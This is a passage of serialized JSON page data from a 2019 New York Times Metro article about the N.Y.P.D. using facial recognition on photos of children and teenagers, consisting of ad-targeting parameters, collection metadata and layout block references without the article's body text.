rgetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ledemedsznone","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gui","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:templatearticle","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:typart,oak","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:si_sectionnyregion","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:id100000006583622","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:trend","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9","typename":"AdTargetingParam"},{"type":"id","generated":false,"id":"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","typename":"AdTargetingParam"}],"sourceId":"100000006583622","type":"article","wordCount":1357,"bylines":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0","typename":"Byline"}],"displayProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties","typename":"CreativeWorkDisplayProperties"},"typeOfMaterials":{"type":"json","json":["News"]},"collections":[{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","typename":"LegacyCollection"},{"type":"id","generated":false,"id":"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","typename":"LegacyCollection"}],"timesTags@filterEmpty":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0","typename":"Organization"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6","typename":"Subject"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7","typename":"Location"}],"language":null,"desk":"Metro","kicker":"","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline","typename":"CreativeWorkHeadline"},"commentStatus":"ACCEPT_AND_DISPLAY_COMMENTS","firstPublished":"2019-08-01T17:15:31.000Z","lastModified":"2019-08-02T17:26:37.071Z","originalDesk":"Metro","source":{"type":"id","generated":false,"id":"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","typename":"Organization"},"printInformation":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation","typename":"PrintInformation"},"sprinkled":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled","typename":"SprinkledContent"},"followChannels":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.0","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.1","typename":"ChannelMetadata"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.2","typename":"ChannelMetadata"}],"dfpTaxonomyException":null,"advertisingProperties":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties","typename":"CreativeWorkAdvertisingProperties"},"translations":[],"summary":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","lastMajorModification":"2019-08-02T09:30:23.000Z","uri":"nyt:\u002F\u002Farticle\u002F9da58246-2495-505f-9abd-b5fda8e67b56","eventId":"pubp:\u002F\u002Fevent\u002F47a657bafa8a476bb36832f90ee5ac6e","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia","typename":"Image"},"newsStatus":"DEFAULT","episodeProperties":null,"column":null,"reviewItems":[],"shortUrl":"https:\u002F\u002Fnyti.ms\u002F2GEzuZ8","promotionalHeadline":"She Was Arrested at 14. Her Photo Went to a Facial Recognition Database.","promotionalSummary":"With little oversight, the police have been using the powerful surveillance technology on photos of children and teenagers.","reviewSummary":"","legacy":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy","typename":"ArticleLegacyData"},"addendums":[],"related@filterEmpty":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.compatibility":{"isOak":true,"__typename":"CompatibilityFeatures","hasVideo":false,"hasOakConversionError":false,"isArtReview":false,"isBookReview":false,"isDiningReview":false,"isMovieReview":false,"isTheaterReview":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.archiveProperties":{"timesMachineUrl":"","lede@stripHtml":"","thumbnails":[],"__typename":"ArticleArchiveProperties"},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzE5ZjY2OTk4LWY1NjItNWVjNi1iM2Y5LTI5OGYxYzc2ZGQ4NA==","slug":"nyregion","__typename":"LegacyCollection","name":"New York","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F19f66998-f562-5ec6-b3f9-298f1c76dd84","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzExZjcyYWI0LTdjZDAtNTQwYS05M2NjLWYzNWIzMmNkMDEzZA==","slug":"us","__typename":"LegacyCollection","name":"U.S. News","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F11f72ab4-7cd0-540a-93cc-f35b32cd013d","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzU4ZWNlMGQwLTNjMzUtNWZhOS1iNTM1LTk0OTk3YTdjOGMwZg==","slug":"technology","__typename":"LegacyCollection","name":"Technology","collectionType":"SECTION","uri":"nyt:\u002F\u002Flegacycollection\u002F58ece0d0-3c35-5fa9-b535-94997a7c8c0f","type":"legacycollection","header":"","showCollectionStories":false},"LegacyCollection:TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==":{"id":"TGVnYWN5Q29sbGVjdGlvbjpueXQ6Ly9sZWdhY3ljb2xsZWN0aW9uLzkwODhjZmU2LTg1ZTMtNTJmYi05OTNlLTYyODk3MDJhMTFmZg==","slug":"experience-tech-and-society","__typename":"LegacyCollection","name":"Tech and Society","collectionType":"SPOTLIGHT","uri":"nyt:\u002F\u002Flegacycollection\u002F9088cfe6-85e3-52fb-993e-6289702a11ff","type":"legacycollection","header":"","showCollectionStories":false},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uLzM5NDgwMzc0LTY2ZDMtNTYwMy05Y2UxLTU4Y2ZhMTI5ODhlMg==","name":"nyregion","displayName":"New York","url":"\u002Fsection\u002Fnyregion","uri":"nyt:\u002F\u002Fsection\u002F39480374-66d3-5603-9ce1-58cfa12988e2","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0":{"__typename":"HeaderBasicBlock","label":null,"headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline","typename":"Heading1Block"},"summary":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary","typename":"SummaryBlock"},"ledeMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia","typename":"ImageBlock"},"byline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline","typename":"BylineBlock"},"timestampBlock":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock","typename":"TimestampBlock"}},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.3":{"__typename":"Dropzone","index":0,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.5":{"__typename":"Dropzone","index":1,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.7":{"__typename":"Dropzone","index":2,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.9":{"__typename":"Dropzone","index":3,"bad":false,"adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.11":{"__typename":"Dropzone","index":4,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.13":{"__typename":"Dropzone","index":5,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.3","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.4","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.6","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.15":{"__typename":"Dropzone","index":6,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.1","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.17":{"__typename":"Dropzone","index":7,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.19":{"__typename":"Dropzone","index":8,"bad":false,"adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.21":{"__typename":"Dropzone","index":9,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.22":{"__typename":"ImageBlock","size":"MEDIUM","media":{"type":"id","generated":false,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm","typename":"Image"}},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.23":{"__typename":"Dropzone","index":10,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2